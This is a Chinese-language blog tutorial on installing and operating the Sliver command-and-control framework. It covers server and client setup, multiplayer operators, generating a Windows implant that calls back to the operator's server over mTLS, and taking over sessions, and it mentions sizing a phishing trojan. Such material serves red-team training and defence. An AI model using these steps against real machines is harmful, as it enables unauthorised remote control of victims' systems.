Sliver简介

Sliver是一款开源的Go语言C2,支持生成常见架构的木马。Sliver支持多种通讯协议如DNS、mTLS、HTTP(S)、WireGuard。

项目地址:https://github.com/BishopFox/sliver
文档:https://github.com/BishopFox/sliver/wiki

主要特点:

  • 动态编译、编译时混淆
  • 多人模式
  • 分阶段和无阶段payload
  • 多通讯协议支持
  • 内置Windows 进程迁移、进程注入、用户令牌操作等
  • BOF、.NET assembly execution…

    Sliver架构

    首先来看一下Sliver的架构,可以明显看出Sliver在设计上是考虑了多用户以及多平台木马生成。
    1655637101994-e7ff4376-2a83-4792-b1bb-918c27107539.png

Sliver重要概念

在开始之前,先了解一下Sliver的重要概念,以便更好的理解Sliver的使用。

Server 控制台
Server 控制台是主界面,在运行Sliver服务器可执行文件时启动。Server 控制台是Client 控制台的超集
所有代码在Client/Server控制台之间共享,但与客户端(即operator)管理相关的服务器特定命令除外。
Server 控制台通过内存中的gRPC接口与服务器进行会话。

Sliver Server
Sliver服务器也是Sliver服务器可执行文件的一部分,负责管理内部数据库,启动/停止网络监听器(例如C2监听器,不过还有其他类型)。
Sliver用于与服务器交互的主接口是gRPC接口,通过该接口可以实现所有功能。
默认情况,服务器只启动只能从Server 控制台与之通信的内存gRPC监听器。不过,gRPC接口也可以通过双向TLS(mTLS)向网络公开(即多人模式)。

Client 控制台
Client 控制台是用于与Sliver Server交互的主要用户界面。请注意,Server 控制台中的大多数代码实际上是Client 控制台。
Client 控制台还可以编译成单独的客户端二进制文件sliver客户端,该客户端通常用于连接到“多用户”gRPC网络监听器。

Implant
在希望远程访问的目标系统上运行的实际恶意程序。

1
2
3
4
5
6
[ Server 控制台 ] --(In Memory gRPC)--> [ Sliver Server ] --(不同 C2 协议)--> [ Implant ]
^
|
(mTLS gRPC)
|
[ Client 控制台 ]

Sliver安装配置

环境示例
Sliver Server:Ubuntu 20.04 LTS
Sliver Client:Kali
目标机器:Centos7 Windows 2019

Sliver Server安装配置

1
2
3
4
wget https://github.com/BishopFox/sliver/releases/download/v1.5.16/sliver-server_linux #下载服务端程序
sudo apt-get install mingw-w64 binutils-mingw-w64 g++-mingw-w64 #安装依赖
chmod +x sliver-server_linux
sudo ./sliver-server_linux

输出以下信息就是已经完成了Sliver Server的安装

1655637492741-f55abf3e-5183-4734-a342-f76516989b87.png
如果是单用户,到这步已经完成了安装,可以直接在终端执行相关命令。但如果是多client协同则还需要进行下面的步骤:

生成client端配置文件

1
2
new-operator --name BTSEC --lhost <Server IP> #新建一个client
multiplayer #启用多用户

1655638870668-41fbc1a6-ea47-4f9c-8559-fc697f1f8f9c.png
这时,server默认会监听一个端口31337,可以修改掉~/.sliver/configs/server.json

Sliver Client安装配置

1
2
3
4
sudo apt-get install mingw-w64 binutils-mingw-w64 g++-mingw-w64 #安装依赖
wget https://github.com/BishopFox/sliver/releases/download/v1.5.16/sliver-client_linux
./sliver-client_linux import /root/BTSEC_192.168.153.135.cfg #导入配置
./sliver-client_linux

Client连接server端成功后输出如下
1655642500474-97dae906-4878-4395-aea3-a5c75cdc9ed7.png
这样就完成了C/S架构的Sliver安装配置

Sliver常用操作

基本命令

1
2
3
help #帮助
version #版本
operators #查看在线的client

生成implant
implant主要支持:mac、windows、linux

Tips:生成implant超时一般是网络环境问题

1
generate --mtls <Server IP>  --save ./test.exe --os Windows

1655650163618-1ab51a46-755a-4bb3-af4a-80f3c6f2a7ed.png
因为是go打包的,所以implant一般是10M以上。这点一定要注意,如果做钓鱼马会太大。

开启listener

1
2
3
4
5
6
7
mtls
jobs

ID Name Protocol Port
==== ====== ========== =======
1 grpc tcp 31337
2 mtls tcp 8888

implants命令可以查看生成过的implants,包括回连信息
1655650214842-8565340b-44c0-4bd0-96da-0cb2d16d7f03.png
执行木马后,如果成功回连则会有一条通知同步client和server,通知内容主要包含session id、外网IP、主机名、平台、时间
1655651681153-e2eb6098-bb0b-4de5-a2b2-43cec42733d8.png
可以通过sessions查看目前的会话
1655651654318-6bc89032-6a26-4503-aafe-11bb23e11bb8.png
会话操作

1
2
sessions -k 0edf9fb8 #杀死会话0edf9fb8
sessions -i af17e11c #进入会话af17e11c

help命令
help命令可以查看当前可以执行的命令,help + 具体命令就是该命令的详细帮助,命令同样也是分为通用命令和平台专有的命令
1655651959056-0deebd35-38e4-417d-80d6-2fba8126b4d1.png
精力所限,Sliver的其他功能,比如BOF、Pivots、beacon等功能在此不再一一介绍。

小结

通过本文的简单介绍,可以看出Sliver已是一个功能较完善的C2,但易用性有待提升,比如没有GUI界面。而且多数库因网络环境受限,快速上手还是不怎么方便,但是因为开源的优势,对于有开发能力的同学还是很香的。

2022.07.17 补充 Sliver GUI 开发版开源,作者自述bug很多

除了Sliver以外,也可以关注C2Matrix这个项目。C2Matrix维护了大量商业/开源C2的各项参数对比,可以根据需要选择合适的C2。
1655738907737-fa893342-eca6-4943-bbf7-59bbbe16b785.png

参考资料

https://docs.google.com/spreadsheets/d/1b4mUxa6cDQuTV2BPC6aA-GR4zGZi0ooPYtBe4IgPsSc/edit#gid=0
https://github.com/BishopFox/sliver